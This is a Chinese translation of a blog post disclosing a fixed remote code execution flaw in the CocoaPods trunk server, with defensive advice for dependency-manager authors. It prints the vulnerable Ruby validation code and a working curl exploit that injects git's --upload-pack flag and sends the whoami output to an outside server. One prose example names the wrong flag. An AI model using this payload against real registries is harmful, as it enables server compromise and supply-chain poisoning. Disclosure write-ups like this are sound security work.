通过CocoaPods一次性攻击300万个应用的远程代码执行漏洞解析

本文详细分析了CocoaPods包管理器中的一个严重远程代码执行漏洞,攻击者可通过恶意git参数注入在中央服务器执行任意命令,影响所有使用CocoaPods的iOS应用。文章包含漏洞技术细节、利用代码和防护建议。

通过CocoaPods一次性攻击300万个应用

tl;dr CocoaPods是一个被大量iOS应用(以及其他Swift和Objective-C Cocoa应用)使用的流行包管理器。我在托管Specs仓库密钥的中央CocoaPods服务器(https://trunk.cocoapods.org/)中发现了一个远程代码执行漏洞。这个漏洞本可以让攻击者污染任何软件包下载。现在该漏洞已被修复。

引言

我使用Signal iOS应用与朋友交流。我真的很喜欢Signal,而为我最喜欢的项目做出贡献的方式之一就是尝试在其中寻找漏洞。

浏览应用源代码时,首先引起我注意的是Podfile,它列出了Signal的CocoaPods依赖项。我在包管理器方面有很长的历史,所以我的第一个想法是尝试在中央CocoaPods服务器中找到一个漏洞。如果我们能找到一个影响每个使用CocoaPods的应用的漏洞,为什么只攻击Signal呢?

漏洞详情

当你向CocoaPods上传一个包规范时,它会尝试确保你没有意外链接到私有仓库。它过去是这样做的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def validate_git
  # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
  url = @specification.source[:git]
  return true unless url.include?('github.com') || url.include?('bitbucket.org')

  ref = @specification.source[:tag] ||
    @specification.source[:commit] ||
    @specification.source[:branch] ||
    'HEAD'
  wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end

这里有几个问题。最重要的是攻击者完全控制@specification.source[:git]ref.to_s,因此可以使用它们向git传递标志。git ls-remote接受一个可选标志--upload-pack,它恰好会在shell中评估其内容。所以如果@specification.source[:git]等于类似--ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com的内容,而ref.to_s被解释为本地仓库,我们将在CocoaPods服务器上运行攻击者的命令。

这是我最终使用的漏洞利用代码:

1
curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

我的思考

总体思考

想想CocoaPods为世界增加了多少价值,仅仅在节省开发者时间方面!然后想想有多少大公司使用这个软件。再想想一次安全审计要花多少钱。

对于使用依赖管理器的人

考虑vendoring依赖项并仔细审查它们的更新。 你的依赖管理器可能有漏洞,如果你在处理安全敏感的东西,你真的应该仔细考虑这个攻击向量。

对于编写依赖管理器的人

如果你希望你的依赖管理器安全,你真的应该将以下内容视为有毒废物:

  • 软件包内容
  • 版本控制软件

依赖管理器服务器通常希望暴露一些关于软件包的元数据(有毒废物),而这通常通过shell调用某些版本控制软件(有毒废物)来实现。最好完全避免这样做,但如果必须这样做,你应该使用沙箱——我真的很喜欢gVisor来处理这类事情。

几个月前,我在proxy.golang.org中发现了一个RCE漏洞,它正在shell调用一些易受攻击的版本控制软件。但由于我无法逃脱的gVisor沙箱,它被完全缓解了。

结论

感谢CocoaPods维护者超级快速地修复了这个漏洞!

无耻的宣传

我正试图向慈善机构捐赠10,000顶蚊帐!如果你喜欢这篇文章,请考虑捐赠一顶2美元的蚊帐。


联系信息

Max Justicz
max@justi.cz
mastodon.mit.edu/@maxj

我会在只发了几篇文章后就放弃这个博客吗?敬请关注并找出答案!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计